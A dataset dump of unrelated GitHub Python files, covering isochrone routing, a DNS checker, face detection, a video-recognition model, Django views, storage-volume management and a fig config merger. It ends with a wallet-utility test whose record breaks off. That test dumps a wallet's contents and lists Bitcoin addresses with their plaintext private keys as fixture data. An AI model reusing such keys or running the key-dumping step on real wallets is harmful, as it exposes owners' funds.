sort_points(origin='', iso=''):\n \"\"\" Put the isochrone points in a proper order \"\"\"\n if origin == '':\n raise Exception('origin cannot be blank.')\n if iso == '':\n raise Exception('iso cannot be blank.')\n\n if isinstance(origin, str):\n origin_geocode = geocode_address(origin)\n elif isinstance(origin, list) and len(origin) == 2:\n origin_geocode = origin\n else:\n raise Exception('origin should be a list [lat, lng] or a string address.')\n\n bearings = []\n for row in iso:\n bearings.append(get_bearing(origin_geocode, row))\n\n points = zip(bearings, iso)\n sorted_points = sorted(points)\n sorted_iso = [point[1] for point in sorted_points]\n return sorted_iso\n\n\ndef get_isochrone(origin='', duration='', number_of_angles=12, tolerance=0.1):\n \"\"\"\n Get isochrone as a list of lat, long points\n\n :param origin: string address or [lat, lng] 2-list\n :param duration: minutes that the isochrone contour value should map\n :param number_of_angles: how many bearings to calculate this contour for (think of this like resolution)\n :param tolerance: how many minutes within the exact answer for the contour is good enough\n :return Nested list of lat, long points for an isochrone given an origin point\n \"\"\"\n if origin == '':\n raise Exception('origin cannot be blank')\n if duration == '':\n raise Exception('duration cannot be blank')\n if not isinstance(number_of_angles, int):\n raise Exception('number_of_angles must be an int')\n\n # Make a radius list, one element for each angle,\n # whose elements will update until the isochrone is found\n rad1 = [duration / 12] * number_of_angles # initial r guess based on 5 mph speed\n phi1 = [i * (360 / number_of_angles) for i in range(number_of_angles)]\n data0 = [0] * number_of_angles\n rad0 = [0] * number_of_angles\n rmin = [0] * number_of_angles\n rmax = [1.25 * duration] * number_of_angles # rmax based on 75 mph speed\n iso = [[0, 0]] * number_of_angles\n\n # Counter to ensure we're not getting out of hand\n j = 0\n\n # Here's where the binary search starts\n while sum([a - b for a, b in zip(rad0, rad1)]) != 0:\n rad2 = [0] * number_of_angles\n for i in range(number_of_angles):\n iso[i] = select_destination(origin, phi1[i], rad1[i])\n url = build_url(origin, iso)\n data = parse_json(url)\n for i in range(number_of_angles):\n if (data[1][i] < (duration - tolerance)) & (data0[i] != data[0][i]):\n rad2[i] = (rmax[i] + rad1[i]) / 2\n rmin[i] = rad1[i]\n elif (data[1][i] > (duration + tolerance)) & (data0[i] != data[0][i]):\n rad2[i] = (rmin[i] + rad1[i]) / 2\n rmax[i] = rad1[i]\n else:\n rad2[i] = rad1[i]\n data0[i] = data[0][i]\n rad0 = rad1\n rad1 = rad2\n j += 1\n if j > 50:\n raise Exception(\"This is taking too long, so I'm just going to quit.\")\n\n for i in range(number_of_angles):\n iso[i] = geocode_address(data[0][i])\n\n iso = [x for x in iso if x is not None]\n iso = sort_points(origin, iso)\n return iso\n\n","repo_name":"dfsnow/rural-doctors","sub_path":"Python files/isocronut.py","file_name":"isocronut.py","file_ext":"py","file_size_in_byte":9074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"12168885390","text":"#!/usr/bin/python3\n\nimport subprocess\nfrom signal import signal, SIGINT\nimport datetime\nimport time,sys\nimport random\nimport re\n\n\nresolvconf = '/etc/resolv.conf'\nrun_once_per = 3600\n\nclass DnsRequest():\n def __init__(self,server):\n self.server = server\n def dns_query_result(self):\n try:\n executable = \"dig\"\n site_query = \"meraki.com\"\n process = subprocess.Popen([executable, site_query, self.server],\n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE)\n stdout, stderr = process.communicate()\n dig_results = stdout.decode('utf-8')\n return dig_results\n except:\n sys.stderr = \"Unable to get DNS query results for {site} against {server}\".format(site=site_query,server=self.server)\n sys.exit(1)\n\n def process_results(self):\n try:\n calendar = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Nov','Dec']\n query_time = []\n date = []\n answer = []\n month = 0\n for i in DnsRequest.dns_query_result(self).splitlines():\n if re.search(\"Query time:\", i):\n query_time.append(i.split())\n elif re.search(\"WHEN:\", i):\n date.append(i.lstrip(';; WHEN: '))\n elif re.search(\"ANSWER:\", i):\n answer.append(int(i.split()[8].rstrip(',')))\n date = date[0].split()\n current_day = int(date[2])\n current_time = date[3].split(\":\")\n hour = int(current_time[0])\n minute = int(current_time[1])\n second = int(current_time[2])\n tz = date[4]\n current_year = int(date[5])\n for index,month in enumerate(calendar):\n if date[1] in month:\n month_num = index + 1\n if answer[0] > 0:\n response = \"succeeded\"\n else:\n response = \"failed\"\n self.query_time = query_time[0][3]\n ts= datetime.datetime(current_year, month_num, current_day, hour, minute, second).strftime('%s')\n if answer[0] > 0:\n full_response = ts+\",\"+self.server+\",\"+response+\",\"+str(self.query_time)\n else:\n full_response = ts+\",\"+self.server+\",\"+response+\",\"\n return full_response\n except:\n sys.stderr = \"An error occured while processing your query response.\"\n sys.exit(1)\n\ndef get_nameservers():\n file = open(resolvconf, \"r\")\n name_server_list = []\n for i in file.readlines():\n if re.search(r'^#',i):\n pass\n elif re.search(r'\\d{1,3}.\\d{1,3}.\\d{1,3}.\\d{1,3}', i):\n name_server_list.append(i.rstrip('\\n'))\n return name_server_list\ndef handler(signal_received, frame):\n print(\"SIGINT or Ctrl-C detected. Exiting gracefully...\")\n sys.exit(0)\n\nif __name__ == '__main__':\n signal(SIGINT, handler)\n while True:\n try:\n rando_server = random.choice(get_nameservers())\n sleep_range = ((run_once_per / get_nameservers().__len__()) / 2)\n requestor = DnsRequest(rando_server)\n print(requestor.process_results())\n time.sleep(random.randrange(1,sleep_range))\n except:\n sys.stderr = \"Unable to complete DNS check against {server}.\".format(server=rando_server)\n sys.exit(1)\n","repo_name":"sandersonjobs/Cisco_Meraki_Interview","sub_path":"dns_checker.py","file_name":"dns_checker.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"34485935243","text":"import cv2\nimport os\nimport numpy as np\n\nhaarcascade = cv2.CascadeClassifier('haarcascade_frontalface_alt2.xml')\n\n\ndef facedetect(img_path):\n \n GR_dict={1:(0,0,255),0:(0,255,0)}\n results={1:'Maskesiz',0:'Maskeli'}\n\n rect_size = 4\n\n shapez=150\n\n\n\n im = cv2.imread(img_path)\n im=cv2.flip(im,1,1)\n rerect_size = cv2.resize(im, (im.shape[1] // rect_size, im.shape[0] // rect_size))\n faces = haarcascade.detectMultiScale(rerect_size)\n kontrol = False\n for f in faces:\n (x, y, w, h) = [v * rect_size for v in f] \n\n face_img = im[y:y+h, x:x+w]\n rerect_sized=cv2.resize(face_img,(shapez,shapez))\n normalized=rerect_sized/255.0\n reshaped=np.reshape(normalized,(1,shapez,shapez,3))\n reshaped = np.vstack([reshaped])\n kontrol = True\n if kontrol:\n return face_img\n pass\n\n\n","repo_name":"emreyildiz1963/FaceCut-Python","sub_path":"facedetection.py","file_name":"facedetection.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"34756810009","text":"\"\"\" CoX3D main \"\"\"\nfrom ride import Main # isort:skip\n\nfrom ride import Configs, RideModule\nfrom ride.metrics import TopKAccuracyMetric\nfrom ride.optimizers import SgdOneCycleOptimizer\nfrom ride.utils.logging import getLogger\n\nfrom datasets import ActionRecognitionDatasets\nfrom models.common import Co3dBase, CoResNet\nfrom models.slowfast.model_loading import map_loaded_weights_from_caffe2\n\nlogger = getLogger(\"CoI3D\")\n\n\nclass CoI3DRide(\n RideModule,\n Co3dBase,\n ActionRecognitionDatasets,\n SgdOneCycleOptimizer,\n TopKAccuracyMetric(1),\n):\n @staticmethod\n def configs() -> Configs:\n c = Configs()\n c.add(\n name=\"resnet_depth\",\n type=int,\n default=50,\n strategy=\"constant\",\n choices=[50, 101],\n description=\"Number of layers in ResNet.\",\n )\n c.add(\n name=\"resnet_num_groups\",\n type=int,\n default=1,\n strategy=\"constant\",\n description=\"Number of groups.\",\n )\n c.add(\n name=\"resnet_width_per_group\",\n type=int,\n default=64,\n strategy=\"constant\",\n description=\"Width of each group.\",\n )\n c.add(\n name=\"resnet_dropout_rate\",\n type=float,\n default=0.5,\n choices=[0.0, 1.0],\n strategy=\"uniform\",\n description=\"Dropout rate before final projection in the backbone.\",\n )\n c.add(\n name=\"resnet_head_act\",\n type=str,\n default=\"softmax\",\n choices=[\"softmax\", \"sigmoid\"],\n strategy=\"choice\",\n description=\"Activation layer for the output head.\",\n )\n c.add(\n name=\"resnet_fc_std_init\",\n type=float,\n default=0.01,\n strategy=\"choice\",\n description=\"The std to initialize the fc layer(s).\",\n )\n c.add(\n name=\"resnet_final_batchnorm_zero_init\",\n type=int,\n default=1,\n choices=[0, 1],\n strategy=\"choice\",\n description=\"If true, initialize the gamma of the final BN of each block to zero.\",\n )\n return c\n\n def __init__(self, hparams):\n self.module = CoResNet(\n arch=\"i3d\",\n dim_in=self.dim_in,\n image_size=self.hparams.image_size,\n temporal_window_size=self.hparams.temporal_window_size,\n num_classes=self.dataloader.num_classes, # from ActionRecognitionDatasets,\n resnet_depth=self.hparams.resnet_depth,\n resnet_num_groups=self.hparams.resnet_num_groups,\n resnet_width_per_group=self.hparams.resnet_width_per_group,\n resnet_dropout_rate=self.hparams.resnet_dropout_rate,\n resnet_fc_std_init=self.hparams.resnet_fc_std_init,\n resnet_final_batchnorm_zero_init=self.hparams.resnet_final_batchnorm_zero_init,\n resnet_head_act=self.hparams.resnet_head_act,\n enable_detection=self.hparams.enable_detection,\n align_detection=self.hparams.align_detection,\n temporal_fill=self.hparams.co3d_temporal_fill,\n )\n\n def map_loaded_weights(self, file, loaded_state_dict):\n # Called from FinetuneMixin\n\n def convert_key(k):\n if not k:\n return k\n k = \"module.\" + k\n k = k.replace(\".s1.\", \".0.\")\n k = k.replace(\".s2.\", \".1.\")\n k = k.replace(\".s3.\", \".2.\")\n k = k.replace(\".s4.\", \".3.\")\n k = k.replace(\".s5.\", \".4.\")\n k = k.replace(\".head.\", \".5.\")\n k = k.replace(\"pathway0_stem.\", \"\")\n k = k.replace(\"a_bn\", \"norm_a\")\n k = k.replace(\"b_bn\", \"norm_b\")\n k = k.replace(\"c_bn\", \"norm_c\")\n k = k.replace(\".bn.\", \".norm.\")\n k = k.replace(\".a.\", \".conv_a.\")\n k = k.replace(\".b.\", \".conv_b.\")\n k = k.replace(\".c.\", \".conv_c.\")\n k = k.replace(\"branch1_conv\", \"0.0.branch1\")\n k = k.replace(\"branch1_norm\", \"0.0.branch1_bn\")\n k = k.replace(\"branch2\", \"0.1.branch2\")\n k = k.replace(\"pathway0_res0.branch1\", \"pathway0_res0.0.0.0.branch1\")\n k = k.replace(\n \"4.pathway0_res0.0.0.0.branch1\", \"4.pathway0_res0.0.0.branch1\"\n )\n return k\n\n if file[-4:] == \".pkl\":\n return map_loaded_weights_from_caffe2(loaded_state_dict, self, convert_key)\n return loaded_state_dict\n\n\nif __name__ == \"__main__\":\n Main(CoI3DRide).argparse()\n","repo_name":"LukasHedegaard/co3d","sub_path":"models/coi3d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"30"} +{"seq_id":"25782219496","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.db.models import Q\nfrom django.contrib import messages\nfrom django.utils.timezone import now\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import PermissionDenied\nfrom django.core.files.images import ImageFile\nfrom .models import Book, Contributor, Publisher, Review\nfrom .forms import SearchForm, PublisherForm, ReviewForm, BookMediaForm\nfrom PIL import Image\nfrom io import BytesIO\n\ndef is_staff_user(user):\n return user.is_staff\n\ndef book_list(request):\n\n books = Book.objects.all()\n book_list = []\n\n for book in books:\n\n reviews = book.review_set.all()\n average_rating, number_of_reviews = book.average_rating_number_of_reviews()\n\n book_list.append(\n {\n 'book': book, \n 'book_rating': average_rating,\n 'number_of_reviews': number_of_reviews\n }\n )\n\n context = {'book_list': book_list}\n\n return render(request, 'reviews/book_list.html', context=context)\n\ndef book_detail(request, id):\n\n user: User = request.user\n\n book = get_object_or_404(Book, pk=id)\n average_rating, number_of_reviews = book.average_rating_number_of_reviews()\n reviews = book.review_set.all()\n\n # Include logic for authenticated users\n if user.is_authenticated:\n\n max_viewed_books_length = 10\n viewed_books: list = request.session.get('viewed_books', [])\n viewed_book = [book.id, book.title]\n\n if viewed_book in viewed_books:\n viewed_books.pop(viewed_books.index(viewed_book))\n \n viewed_books.insert(0, viewed_book)\n viewed_books = viewed_books[:max_viewed_books_length]\n\n request.session['viewed_books'] = viewed_books\n\n\n\n\n context = {\n 'book': book,\n 'average_rating': average_rating,\n 'number_of_reviews': number_of_reviews,\n 'reviews': reviews\n }\n\n return render(request, 'reviews/book_detail.html', context=context)\n\ndef book_search(request):\n\n user: User = request.user\n # To start the view, default values were defined for title and books\n title = 'Book Search'\n books = []\n \n # To avoid DRY, search form is defined at this point\n if request.method == 'GET':\n\n search_form = SearchForm(request.GET)\n\n elif request.method == 'POST':\n\n search_form = SearchForm(request.POST)\n\n # Test if the form is valid\n if search_form.is_valid():\n\n # Get values need to make searchs\n search_text = search_form.cleaned_data.get('search')\n search_in = search_form.cleaned_data.get('search_in')\n\n if search_text != '':\n \n # Include search options into a list to be persisted into a session.\n if user.is_authenticated:\n\n max_search_history_length = 10\n search_history: list = request.session.get('search_history', [])\n search_options = [search_text, search_in]\n\n if search_options in search_history:\n search_history.pop(search_history.index(search_options))\n \n search_history.insert(0, search_options)\n search_history = search_history[:max_search_history_length]\n\n request.session['search_history'] = search_history\n\n title = f'Search Results for \"{search_text}\"'\n\n # Here two cases are covered, when info come from url (GET method).\n # In this case search_in is ''\n # If submit button is clicked from HTML form (POST method), search_in became title or contributor\n if search_in in ['title', '']:\n\n # Simple query based com title\n books = Book.objects.filter(title__icontains=search_text)\n\n elif search_in == 'contributor':\n\n # When contributor is selected, the search is executed based on two fields\n # first_names and last_names, to perform that, django.db.models.Q was used\n # To know more about that go to the link -> https://docs.djangoproject.com/en/4.0/topics/db/queries/#complex-lookups-with-q \n complex_search_query = Q(first_names__icontains=search_text) | Q(last_names__icontains=search_text)\n contributors = Contributor.objects.filter(complex_search_query)\n\n # once I have all contributors, It's possible to get all books from them\n _ = [books.extend(contributor.book_set.all()) for contributor in contributors]\n \n context = {\n 'form': search_form,\n 'books': books,\n 'title': title,\n }\n\n return render(request, 'reviews/book_search.html', context=context)\n\ndef main(request):\n\n return render(request, 'base.html')\n\n@user_passes_test(is_staff_user)\ndef publisher_edit(request, pk=None):\n\n if pk is not None:\n\n publisher = get_object_or_404(Publisher, pk=pk)\n \n else:\n\n publisher = None\n\n if request.method == 'POST':\n\n form = PublisherForm(request.POST, instance=publisher)\n \n if form.is_valid():\n \n updated_publisher = form.save()\n\n if publisher is None:\n\n messages.success(request, f'Publisher {updated_publisher} was created!')\n\n else:\n\n messages.success(request, f'Publisher {updated_publisher} was updated!')\n\n return redirect('publisher_edit', updated_publisher.pk)\n\n else:\n\n form = PublisherForm(instance=publisher)\n\n context = {\n 'form': form,\n 'instance': publisher,\n 'model_type': \"Publisher\"\n }\n\n return render(request, 'reviews/instance_form.html', context=context)\n\n\n@login_required\ndef review_edit(request, book_pk, review_pk=None):\n\n book = get_object_or_404(Book, pk=book_pk)\n\n if review_pk is not None:\n review = get_object_or_404(Review.objects.filter(book=book), pk=review_pk)\n\n user = request.user\n\n if not user.is_staff and review.creator.id != user.id:\n\n raise PermissionDenied\n\n\n else:\n review = None\n\n if request.method == 'POST':\n\n form = ReviewForm(request.POST, instance=review)\n\n if form.is_valid():\n\n updated_review = form.save(commit=False)\n updated_review.book = book \n\n if review is not None:\n\n updated_review.date_edited = now()\n messages.success(request, f'Review for {book.title} was edited!')\n\n else:\n messages.success(request, f'Review for {book.title} was created!')\n \n updated_review.save()\n return redirect('book_details', book.pk)\n\n else:\n\n form = ReviewForm(instance=review)\n\n context = {\n 'form': form,\n 'instance': review,\n 'model_type': \"Review\",\n 'related_model_type': \"Book\",\n 'related_instance': book\n }\n\n return render(request, 'reviews/instance_form.html', context=context)\n\n@login_required\ndef book_media(request, book_pk):\n \n book = get_object_or_404(Book, pk=book_pk)\n\n if request.method == 'POST':\n\n form = BookMediaForm(request.POST, request.FILES, instance=book)\n\n if form.is_valid():\n \n # As I want to resize the image let commit=False.\n book: Book = form.save(commit=False)\n\n # Open image to manipulate it.\n image = Image.open(book.cover)\n\n # Resize image considering 300 x 300 pixles maximun value.\n image.thumbnail((300, 300))\n\n # Use BytesIO to work with \"files\" in memory before update the model.\n image_data = BytesIO()\n image.save(fp=image_data, format=image.format)\n image_file = ImageFile(image_data)\n\n # Save updated cover and model\n book.cover.save(book.cover.name, image_file)\n book.save()\n\n messages.success(request, f'Book {book} was updated!')\n return redirect('book_details', book.pk)\n\n else:\n\n form = BookMediaForm(instance=book)\n\n context = {\n 'form': form,\n 'instance': book,\n 'model_type': \"Book\",\n 'is_file_upload': True\n }\n\n return render(request, 'reviews/instance_form.html', context=context)","repo_name":"rodrigobmedeiros/bookr","sub_path":"reviews/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"23346750148","text":"from django.contrib import admin\nfrom .models import Cart, Products, Brand, Comment, Order\n\nfrom django.utils.safestring import mark_safe\n\nfrom django import forms\n# from ckeditor_uploader.widgets import CKEditorUploadingWidget\n\n\nfrom modeltranslation.admin import TranslationAdmin\n# Register your models here.\n\n\n# class ProductsAdminForm(forms.ModelForm):\n# description_ru = forms.CharField(label=\"Описание\", widget=CKEditorUploadingWidget())\n# description_en = forms.CharField(label=\"Описание\", widget=CKEditorUploadingWidget())\n\n\n\nclass ProductsAdmin(TranslationAdmin):\n\n list_display = ['name', 'brand', 'price', 'size' , 'quant']\n list_filter = ('size', \"brand\" , 'gender',)\n search_fields = ('name',)\n readonly_fields = ('get_image',)\n\n def get_image(self, obj):\n return mark_safe(f'')\n\n\n fieldsets = (\n\n (None, {\"fields\" : (\n (\"name\",),\n (\"descriptions\",),\n (\"price\",),\n (\"size\",),\n (\"gender\",),\n (\"quant\",),\n )}),\n\n (\"Brand\", {\n \"classes\" : (\"callapse\"),\n \"fields\" : (\n ( \"brand\",),\n ( \"image\", \"get_image\", ),\n)})\n)\n\n\n\n\n\n\n\nadmin.site.register(Products, ProductsAdmin)\n\n\nclass BrandAdmin(admin.ModelAdmin):\n list_filter = (\"name\", )\n search_fields = ('name',)\n\nadmin.site.register(Brand, BrandAdmin)\n\n\n\nclass CommentAdmin(admin.ModelAdmin):\n list_filter = (\"username\", 'comment' )\n search_fields = ('username',)\n\nadmin.site.register(Comment, CommentAdmin)\n\n\nadmin.site.register(Cart)\nadmin.site.register(Order)\n\n\n\n\n\n\n\n# pip install django-ckeditor","repo_name":"Madykanov/rest_api2","sub_path":"rest_app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"42392504126","text":"from typing import Dict, List, Optional\n\nfrom flowserv.volume.base import StorageVolume\nfrom flowserv.volume.factory import Volume\nfrom flowserv.volume.fs import FStore # noqa: F401\nfrom flowserv.volume.gc import GCBucket # noqa: F401\nfrom flowserv.volume.s3 import S3Bucket # noqa: F401\nfrom flowserv.volume.ssh import Sftp # noqa: F401\n\nimport flowserv.error as err\nimport flowserv.util as util\n\n\nDEFAULT_STORE = '__default__'\n\n\nclass VolumeManager(object):\n \"\"\"The volume manager maintains information about storage volumes and the\n files that are available to the workers during workflow execution at each\n volume. The volume manager is the main component that maintains a virtual\n runtime environment in which all workers have access to their required input\n files.\n\n The manager also acts as a factory for volume stores. When the manager is\n instantiated all storage volumes are specified via their dictionary\n serialization. The respective volume instances are only created when they\n are first accessed.\n \"\"\"\n def __init__(\n self, stores: List[Dict], files: Optional[Dict[str, List[str]]] = None\n ):\n \"\"\"Initialize the storage volumes specifications and the initial list\n of static files that are available for the workflow run.\n\n Expects that the list of storage volumes contains at least the default\n storage volume.\n\n Parameters\n ----------\n stores: list\n List of dictionary serializations for storage volumes.\n files: dict, default=None\n Mapping of file names to the list of storage volume identifier for\n the volumes that contain the latest version of a input/output file.\n \"\"\"\n # Ensure that a default storage volume is given in the mapping of\n # storage volume specifications.\n self._storespecs = {doc['id']: doc for doc in stores}\n if DEFAULT_STORE not in self._storespecs:\n raise ValueError('missing default storage volume')\n self._stores = dict()\n # Set the initial mapping of static files. Ensure that the referenced\n # stores are valid.\n self.files = dict(files) if files is not None else dict()\n for _, file_stores in self.files.items():\n for s in file_stores:\n if s not in self._storespecs:\n raise err.UnknownObjectError(obj_id=s, type_name='storage volume')\n\n def get(self, identifier: str) -> StorageVolume:\n \"\"\"Get the instance for the storage volume with the given identifier.\n\n Paramaters\n ----------\n identifier: str\n Unique storage volume identifier.\n\n Returns\n -------\n flowserv.volume.base.StorageVolume\n \"\"\"\n # Create storage volume instance from specification if it has not been\n # accessed yet.\n if identifier not in self._stores:\n self._stores[identifier] = Volume(self._storespecs[identifier])\n return self._stores[identifier]\n\n def prepare(self, store: StorageVolume, inputs: List[str], outputs: List[str]):\n \"\"\"Prepare the storage volume for a worker.\n\n Ensures that the input files that are needed by the worker are available\n in their latest version at the given volume store.\n\n Raises a ValueError if a specified input file does not exist.\n\n Parameters\n ----------\n store: flowserv.volume.base.StorageVolume\n Storage volume that is being prepared.\n inputs: list of string\n Relative path (keys) of required input files for a workflow step.\n outputs: list of string\n Relative path (keys) of created output files by a workflow step.\n \"\"\"\n # Generate dictionary that maps all files that are matches to the given\n # query list to the list of storage volume that the files are available\n # at. At this point we perform a search with quadratic time complexity\n # in the number of query files and and files in the workflow context,\n # assuming that neither (or at least the query files) contains a very\n # large number of elements.\n required_files = dict()\n for q in inputs:\n # The comparison depends on whether the specified file name ends\n # with a '/' (indicating that a directory is referenced) or not.\n is_match = prefix_match if q.endswith('/') else exact_match\n for f, fstores in self.files.items():\n if f not in required_files and is_match(f, q):\n required_files[f] = fstores\n # Copy required files that are currently not available to the worker.\n for f, fstores in required_files.items():\n # Check if the file is available at the target store.\n if store.identifier in fstores:\n continue\n # If the file is not available at the target volume we need to\n # upload it.\n source = self.get(fstores[0])\n # Upload file from the source storage volume to the target\n # volume.\n for key in source.copy(src=f, store=store):\n self.files[key].append(store.identifier)\n # Create folders for output files.\n out_folders = set()\n for file in outputs:\n parent = file if file.endswith('/') else util.join(*file.split('/')[:-1])\n out_folders.add(parent)\n for dirname in out_folders:\n store.mkdir(path=dirname)\n\n def update(self, store: StorageVolume, files: List[str]):\n \"\"\"Update the availability index for workflow files.\n\n The update method is used by a worker to signal the successful execution\n of a workflow step. The given files specify the output files that were\n generated by the worker. The store identifier references the volume\n store that now contains the latest version of these files.\n\n Raises a ValueError if the specified storage volume does not exist.\n\n Parameters\n ----------\n store: flowserv.volume.base.StorageVolume\n Storage volume that contains the latest versions for the given\n files.\n files: list of str\n List of relative path (keys) for output files that were generated\n by a successful workflow step.\n \"\"\"\n for key in files:\n self.files[key] = [store.identifier]\n\n\n# -- Helper functions ---------------------------------------------------------\n\ndef DefaultVolume(basedir: str) -> VolumeManager:\n \"\"\"Helper method to create a volume manager with a single file system store\n as the default store.\n\n Parameters\n ----------\n basedir: str\n Base directory for the created file system store.\n\n Returns\n -------\n flowserv.volume.manager.VolumeManager\n \"\"\"\n return VolumeManager(stores=[FStore(basedir=basedir, identifier=DEFAULT_STORE)])\n\n\ndef exact_match(s1: str, s2: str) -> bool:\n \"\"\"Test if two strings are exact matches.\n\n Parameters\n ----------\n s1: string\n Left side string of the comparison.\n s2: string\n Right side string of the comparison.\n\n Returns\n -------\n bool\n \"\"\"\n return s1 == s2\n\n\ndef prefix_match(value: str, prefix: str) -> bool:\n \"\"\"Test of the given string value starts with a given prefix.\n\n Parameters\n ----------\n value: str\n Value for which the prefix is evaluated.\n prefix: str\n Prefix string that is tested for the given value.\n\n Returns\n -------\n bool\n \"\"\"\n return value.startswith(prefix)\n","repo_name":"scailfin/flowserv-core","sub_path":"flowserv/volume/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":7632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"1414913758","text":"#! /usr/bin/env python2\n\nimport yaml\nimport os\nimport sys\n\n# http://stackoverflow.com/a/823240/350221\ndef merge(user, default):\n if isinstance(user,dict) and isinstance(default,dict):\n for k,v in default.iteritems():\n if k not in user:\n user[k] = v\n else:\n user[k] = merge(user[k],v)\n return user\n\n# Load fig.yml into a tree\nwith open('fig.yml', 'r') as fh:\n default = yaml.load(fh)\n\n# Load fig-dev.yml into a tree\nwith open('fig-dev.yml', 'r') as fh:\n user = yaml.load(fh)\n\n# Merge the trees\nmerged_yaml = yaml.dump(merge(user, default))\n\n# Print merged yml into a file.\nwith open('fig-merged.yml', 'w') as fh:\n fh.write(merged_yaml)\n\n# Run fig with the merged yml\nos.system(\"fig -f fig-merged.yml \" + \" \".join(sys.argv[1:]))\n","repo_name":"dmp1ce/fig-drupal7","sub_path":"fig-dev.py","file_name":"fig-dev.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"30"} +{"seq_id":"14149704626","text":"from django.urls import path,re_path\nfrom data import views\nfrom rest_framework.routers import DefaultRouter\nurlpatterns = [\n #这是获取全部数据的处理路由\n path(\"user/\",views.UserViewSet.as_view({\"get\":\"list\",\"post\":\"deal_post\"})),\n path(\"user/\",views.UserViewSet.as_view({\"get\":\"retrieve\",\"put\":\"deal_put\"})),\n\n path(\"blog_type/\",views.Blog_TypeViewSet.as_view({\"get\":\"list\",\"post\":\"create_type\"})),\n path(\"blog_type/\",views.Blog_TypeViewSet.as_view({\"get\":\"retrieve\",'put':\"change_hot\"})),\n\n path(\"blog/\",views.BlogViewSet.as_view({\"get\":\"list\",\"post\":\"create\"})),\n path(\"blog/\",views.BlogViewSet.as_view({\"get\":\"retrieve\",\"delete\":\"deal_delete\",\"put\":\"change_blog\"}))\n]\n\n\n\n","repo_name":"xiaojingchuangtianya/web_create","sub_path":"project/data/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"39162228547","text":"\"\"\"\nGiven a binary tree, imagine yourself standing on the right side of it, return the values of the nodes you can see ordered from top to bottom.\n\nExample:\n\nInput: [1,2,3,null,5,null,4]\nOutput: [1, 3, 4]\nExplanation:\n\n 1 <---\n / \\\n2 3 <---\n \\ \\\n 5 4 <---\n\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def rightSideView(self, root: TreeNode) -> List[int]:\n def build_right_view(root, right, level):\n if root is None:\n return\n if len(right) <= level:\n right.append(None)\n right[level] = root.val\n build_right_view(root.left, right, level + 1)\n build_right_view(root.right, right, level + 1)\n \n right = []\n build_right_view(root, right, 0)\n return right\n\n\nfrom collections import deque\n\n\nclass Solution2:\n def rightSideView(self, root: TreeNode) -> List[int]:\n if not root:\n return []\n queue = deque()\n queue.append(root)\n res = []\n while queue:\n size = len(queue)\n res.append(queue[0].val)\n for _ in range(size):\n node = queue.popleft()\n if node.right:\n queue.append(node.right)\n if node.left:\n queue.append(node.left)\n \n return res\n","repo_name":"franklingu/leetcode-solutions","sub_path":"questions/binary-tree-right-side-view/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":144,"dataset":"github-code","pt":"30"} +{"seq_id":"13874520405","text":"import subprocess\nimport os\nimport json\nimport sys\nimport buildenv\nimport shutil\n\ndef assert_equal(thing1, thing2):\n if thing1 != thing2:\n raise AssertionError(\"%s != %s\"%(str(thing1),str(thing2)))\n\nif __name__ == '__main__':\n datadir = os.environ[\"srcdir\"] + \"/test/data\"\n execprog = './wallet-utility' + buildenv.exeext\n execargs = '-datadir=' + datadir\n execrun = execprog + ' ' + execargs\n\n proc = subprocess.Popen(execrun, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True, shell=True)\n try:\n outs = proc.communicate()\n except OSError:\n print(\"OSError, Failed to execute \" + execprog)\n sys.exit(1)\n\n output = json.loads(outs[0])\n\n assert_equal(output[0], \"13EngsxkRi7SJPPqCyJsKf34U8FoX9E9Av\")\n assert_equal(output[1], \"1FKCLGTpPeYBUqfNxktck8k5nqxB8sjim8\")\n assert_equal(output[2], \"13cdtE9tnNeXCZJ8KQ5WELgEmLSBLnr48F\")\n\n execargs = '-datadir=' + datadir + ' -dumppass'\n execrun = execprog + ' ' + execargs\n\n proc = subprocess.Popen(execrun, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True, shell=True)\n try:\n outs = proc.communicate()\n except OSError:\n print(\"OSError, Failed to execute \" + execprog)\n sys.exit(1)\n\n output = json.loads(outs[0])\n\n assert_equal(output[0]['addr'], \"13EngsxkRi7SJPPqCyJsKf34U8FoX9E9Av\")\n assert_equal(output[0]['pkey'], \"5Jz5BWE2WQxp1hGqDZeisQFV1mRFR2AVBAgiXCbNcZyXNjD9aUd\")\n assert_equal(output[1]['addr'], \"1FKCLGTpPeYBUqfNxktck8k5nqxB8sjim8\")\n assert_equal(output[1]['pkey'], \"5HsX2b3v2GjngYQ5ZM4mLp2b2apw6aMNVaPELV1YmpiYR1S4jzc\")\n assert_equal(output[2]['addr'], \"13cdtE9tnNeXCZJ8KQ5WELgEmLSBLnr48F\")\n assert_equal(output[2]['pkey'], 